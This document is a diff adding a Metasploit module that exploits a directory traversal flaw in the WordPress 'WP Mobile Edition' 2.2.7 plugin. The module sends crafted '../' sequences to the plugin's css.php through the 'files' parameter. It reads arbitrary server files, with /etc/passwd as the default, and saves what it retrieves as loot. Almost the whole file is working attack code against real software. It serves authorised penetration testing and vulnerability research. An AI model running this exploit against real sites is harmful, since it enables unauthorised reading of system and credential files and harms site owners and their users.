|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'WordPress Mobile Edition File Read Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability in WordPress Plugin |
| 19 | + "WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the |
| 20 | + web server privileges. Stay tuned to the correct value in TARGETURI. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + ['EDB', '36733'], |
| 25 | + ['WPVDB', '7898'] |
| 26 | + ], |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Khwanchai Kaewyos', # Vulnerability discovery |
| 30 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE |
| 33 | + )) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), |
| 38 | + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) |
| 39 | + ], self.class) |
| 40 | + end |
| 41 | + |
| 42 | + def check |
| 43 | + check_plugin_version_from_readme('wp-mobile-edition', '2.3') |
| 44 | + end |
| 45 | + |
| 46 | + def run_host(ip) |
| 47 | + traversal = "../" * datastore['DEPTH'] |
| 48 | + filename = datastore['FILEPATH'] |
| 49 | + filename = filename[1, filename.length] if filename =~ /^\// |
| 50 | + |
| 51 | + res = send_request_cgi({ |
| 52 | + 'method' => 'GET', |
| 53 | + 'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'), |
| 54 | + 'vars_get' => |
| 55 | + { |
| 56 | + 'files' => "#{traversal}#{filename}" |
| 57 | + } |
| 58 | + }) |
| 59 | + |
| 60 | + if res && res.code == 200 && res.body.length > 0 |
| 61 | + |
| 62 | + print_status('Downloading file...') |
| 63 | + print_line("\n#{res.body}\n") |
| 64 | + |
| 65 | + fname = datastore['FILEPATH'] |
| 66 | + |
| 67 | + path = store_loot( |
| 68 | + 'mobileedition.traversal', |
| 69 | + 'text/plain', |
| 70 | + ip, |
| 71 | + res.body, |
| 72 | + fname |
| 73 | + ) |
| 74 | + |
| 75 | + print_good("#{peer} - File saved in: #{path}") |
| 76 | + else |
| 77 | + print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.") |
| 78 | + end |
| 79 | + end |
| 80 | +end |
0 commit comments